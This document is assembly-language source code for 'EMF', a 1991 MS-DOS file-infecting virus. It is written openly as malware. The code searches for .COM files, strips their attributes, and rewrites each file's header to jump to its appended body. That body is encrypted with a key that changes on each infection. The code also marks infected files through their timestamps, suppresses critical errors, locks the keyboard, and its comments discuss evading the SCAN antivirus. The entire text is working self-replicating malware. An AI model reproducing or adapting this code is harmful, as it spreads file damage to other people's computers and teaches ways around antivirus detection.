DATA SEGMENT ORG 100H DATA ENDS ; The EMF virus (c)1991 by Lazarus Long, Inc. ; The author assumes no responsibility for any damage incurred ; from the execution of this file, intentional or not ; START: JMP VIRUS_START ENCRYPT_BYTE DB 00H ;Storage space for byte that ID string is ;Encrypted by ;------------------------------------------------------------------------------; ;The code from here to ENC_START is always unencrypted and SCAN would be able ; ;to find it. Maybe a quick look at V2P7 would be in order (Hint,Hint!) ; ;------------------------------------------------------------------------------; VIRUS_START: CALL NEXT_STEP NEXT_STEP: POP BP ;All actions relative to BP, IN AL,21H ;Lock out keyboard PUSH AX OR AL,2 OUT 21H,AL MOV CX,ENC_LENGTH ;Number of bytes to decrypt ;cause offsets LEA SI,[BP+OFFSET ENC_START-NEXT_STEP] ;Offset of data to decrypt ;change in infected files MOV DL,[103H] ;Byte to decrypt with CALL CRYPT ;Decrypt main body of virus CALL RESTORE_EIGHT JMP SAVE_PSP ;Continue INFECT: CALL CRYPT_WRITE MOV AH,40H MOV DX,BP ;Starting from BP-3 SUB DX,3 ;Which,convienently,is the start MOV CX,ENC_END-108H ;of our viral code INT 21H ;Write all of virus CALL CRYPT_WRITE ;Return and continue RET CRYPT_WRITE: MOV CX,ENC_LENGTH ;Number of bytes to decrypt LEA SI,[BP+ OFFSET ENC_START - NEXT_STEP] ;Address to start decryption MOV DL,[0FBH] ;Byte to decrypt with CALL CRYPT RET ;******************************************************************************; ;Call this with SI equal to address to XOR,and CX number of bytes to XOR : ; ; ;******************************************************************************; CRYPT: XOR BYTE PTR [SI],DL ;XOR it INC SI ;Increment XOR address INC DL ;Change encryption key,eh? NOT DL ;Reverse the key LOOP CRYPT ;Until CX=0 RET ;Then return ;******************************************************************************; ; Save PSP ; ;******************************************************************************; ENC_START EQU $ SAVE_PSP: MOV AH,30H ;Get DOS version INT 21H CMP AL,2 ;Lower than 2? JNB ABOVE_2 ;No,continue CALL RESTORE_EIGHT MOV SI,100H ;If so return PUSH SI RET 0FFFFH ABOVE_2: PUSH ES ;Save ES MOV AX,3524H ;Get INT 24 address INT 21H MOV [BP+OLD_B-NEXT_STEP],BX ;Save it MOV [BP+OLD_E-NEXT_STEP],ES MOV AH,25H ;Now set it to our own code LEA DX,[BP+NEW_24-NEXT_STEP] INT 21H POP ES ;Restore ES MOV CX,128 ;Number of bytes to save MOV SI,80H ;From 80H. ie the PSP LEA DI,[BP+ENC_END-NEXT_STEP] ;To the end of our code PUSH DI ;Save location so we can restore the bytes REP MOVSB ;Mov'em ;------------------------------------------------------------------------------; ; ; Find first .COM file that is either Hidden,read-only,system,or archive ; ;------------------------------------------------------------------------------; FIND_FIRST: LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.COM,00 MOV CX,27H ;Find ANY file that fits *.COM MOV AH,4EH ;Find first matching file INT 21H JC QUIT ;If no *.COM files found,quit JMP SET_ATTRIBS FIND_AGAIN: LEA DX,[BP+WILD_CARD-NEXT_STEP] ;Offset of *.com MOV AH,4FH ;Find next matching file MOV CX,27H ;Archive,Hidden,Read-only,or System INT 21H JC QUIT ;No more files? Then exit SET_ATTRIBS: MOV AX,[096H] ;Get time AND AL,1EH ;Are the seconds set to 60? CMP AL,1EH ; JZ FIND_AGAIN ;If so,assume this file is infected,find another ;------------------------------------------------------------------------------; ; Open file and infect it. ; ; ; ;------------------------------------------------------------------------------; MOV DX,9EH ;offset into DTA of filename MOV AX,4301H ;Set file attribs XOR CX,CX ;To normal file INT 21H JC QUIT ;Some sort of error occured,exit now! MOV AX,3D02H ;Code for open file with read and write ;access INT 21H ;DX points to ASCIIZ string of filename MOV CX,04 ;Read four bytes MOV BX,AX ;Save handle for future use MOV DX,0ACH ;Set buffer to end of DTA MOV AH,3FH ;Read from file INT 21H JMP MAKE_HEADER QUIT: JMP DONE ;------------------------------------------------------------------------------; ; Infect .COM header so it jumps to our viral code ; ;------------------------------------------------------------------------------; MAKE_HEADER: MOV [0F9H],[9AH] ;Offset off file size in DTA MOV [0F8H]B,0E9H ;Code for absolute JMP SUB WORD PTR [0F9H],2 ;Adjust it just a bit MOV AX,4200H ;Set file pointer to beginning ;of file to be infected XOR CX,CX ;Zero out CX XOR DX,DX ;Zero out DX INT 21H MOV AH,2CH ;Get time INT 21H ADD DL,[104H] ;And add to what we had before MOV [0FBH],DL ;Save that value for our key MOV AH,40H ;Write to file MOV DX,0F8H ;Starting at F8 hex MOV CX,04H ;Write eight bytes INT 21H ERROR: JC DONE ;Some sort of error? ;If so,exit ;------------------------------------------------------------------------------; ; Attach our viral code to the end of the target .COM file ; ; ; ;------------------------------------------------------------------------------; MOV SI,0ACH ;Starting at A9h MOV CX,04 ;Mov eight bytes LEA DI,[BP+ORIGINAL_EIGHT-NEXT_STEP];Where to save original eight bytes to REP MOVSB ;Save infected files original eight bytes MOV AX,4202H ;Set file pointer to end of file ;plus 1 XOR CX,CX ;Zero CX MOV DX,1 ;Make DX=1 INT 21H CALL INFECT ;Encrypt code, write it to file, ;Decrypt it,and return ;------------------------------------------------------------------------------; ; This restores the files original date and time ; ;------------------------------------------------------------------------------; MOV AX,5701H ;Restore original date and time MOV CX,[96H] ;From what was read in earlier MOV DX,[98H] AND CX,0FFE0H OR CX,01EH ;Change seconds to 60 INT 21H MOV AH,3EH ;Close that file INT 21H CALL RESTORE_ATTRIBS ;Restore it's attributes DONE: RESTORE_PSP: PUSH DS ;Save the DS register MOV DX,[BP+OLD_B-NEXT_STEP]W ;Move the old INT 24's address MOV DS,[BP+OLD_E-NEXT_STEP]W ;so we can restore it MOV AX,2524H ;Restore it INT 21H POP DS ;Restore the DS register POP SI ;SI is equal to address we stored ;our PSP at MOV DI,80H ;Want to move saved PSP to 80h MOV CX,128 ;Want to move 128 bytes REP MOVSB MOV SI,100H ;Odd sort of jump POP AX PUSH SI ;Ends up restoring control to ;100h OUT 21H,AL ;Unlock keyboard RET 0FFFFH ;Pop off all of stack RESTORE_EIGHT: LEA SI,[BP+ORIGINAL_EIGHT-NEXT_STEP] ;Restore original eight bytes so we ;can RET MOV DI,100H ;Destination of move MOV CX,04 ;Move eight bytes REP MOVSB RET RESTORE_ATTRIBS: ;------------------------------------------------------------------------------; ; This routine restores the files original attributes. ; ;------------------------------------------------------------------------------; MOV AX,4301H ;Restore original attribs XOR CX,CX ;Zero out CX MOV CL,[95H] ;To what was read in earlier MOV DX,09EH ;Offset of filename INT 21H RET NEW_24: XOR AX,AX ;Any error will simply be ignored STC ;Most useful for write protects IRET OLD_E EQU $ OLD_ES DW 00 00 OLD_B EQU $ OLD_BX DW 00 00 ORIGINAL_EIGHT EQU $ OLD_EIGHT_BYTES DB ,0CDH,20H,00,00 ;Bytes that are moved ;and RET'd to WILD_CARD EQU $ FILESPEC DB '*.COM',00 ;------------------------------------------------------------------------------ ;This is just some generic text. Don't be a lamer and change the text and claim ;it was your own creation. ;------------------------------------------------------------------------------ TEXT DB 'Screaming Fist (c)10/91' ENC_END EQU $ ENC_LENGTH = ENC_END - ENC_START ;Length of code to be encrypted